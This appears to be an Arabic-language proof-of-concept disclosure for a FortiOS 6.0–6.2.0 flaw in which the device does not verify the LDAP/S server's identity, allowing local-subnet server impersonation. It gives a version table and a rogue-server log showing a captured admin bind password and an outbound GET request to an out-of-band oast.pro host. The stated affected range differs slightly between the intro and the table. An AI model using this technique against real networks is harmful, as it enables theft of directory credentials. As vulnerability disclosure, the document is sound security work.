
التكوين الافتراضي لـ LDAP على FortiOS v6.0.x إلى v6.2.0 لا يتحقق من هوية الخادم لـ LDAP/S مما يؤدي إلى هجمات MITM. هذا الإثبات العملي يوضح استخراج كامل لبيانات الاعتماد المرسلة على الشبكة الفرعية المحلية إلى خادم LDAP يسهل انتحاله.
هذا الإثبات العملي (PoC) يُظهر هجوم MITM (رجل في المنتصف): انتحال خادم LDAP على الشبكة الفرعية المحلية لجهاز FortiGate الذي يعمل بإصدار ضعيف من FortiOS.
هذه الإصدارات معرضة للخطر:
| الإصدار | متأثر | الحل |
|---|---|---|
| FortiOS 7.0 | غير متأثر | غير قابل للتطبيق |
| FortiOS 6.0 | 6.0.3 حتى 6.2.0 | الترقية إلى 6.2.1 أو أعلى |
تم استخدام FortiOS 6.2.0 الذي يعمل داخل VMware Fusion في الإثبات العملي.
[2025-10-16 22:59:47.366765] New connection from 192.168.43.24:54789
--- Request #1 ---
BIND Request:
Message ID: 1
DN: cn=admin,dc=example,dc=com
Password: ldapAdMiNPassw0rd!
-> Sent BIND Response (Success)
--- Request #2 ---
SEARCH Request:
Message ID: 2
Base DN: dc=example,dc=com
Filter:
cn
nLBkcjDTHC01.1...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #3 ---
BIND Request:
Message ID: 3
DN: dc=example,dc=com
Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔑 CAPTURED PASSWORD: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔧 No scheme found — prepending https:// -> https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
📡 Attempting GET request to: https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
✅ GET request successful! Status code: 200
-> Sent BIND Response (Success)
--- Request #4 ---
SEARCH Request:
Message ID: 4
Base DN: dc=example,dc=com
Filter:
objectclass0memberOfprimaryG...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #5 ---
[2025-10-16 22:59:49.159193] Connection closed from 192.168.43.24:54789
============================================================
SESSION SUMMARY - Captured Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
============================================================
التكوين الافتراضي لـ LDAP على FortiOS v6.0.x حتى v6.2.0 لا يتحقق من هوية الخادم لـ LDAP/S مما يؤدي إلى هجمات MITM. يوضح هذا الإثبات العملي تسريبًا كاملاً لبيانات الاعتماد المرسلة على الشبكة الفرعية المحلية إلى خادم LDAP يسهل انتحاله.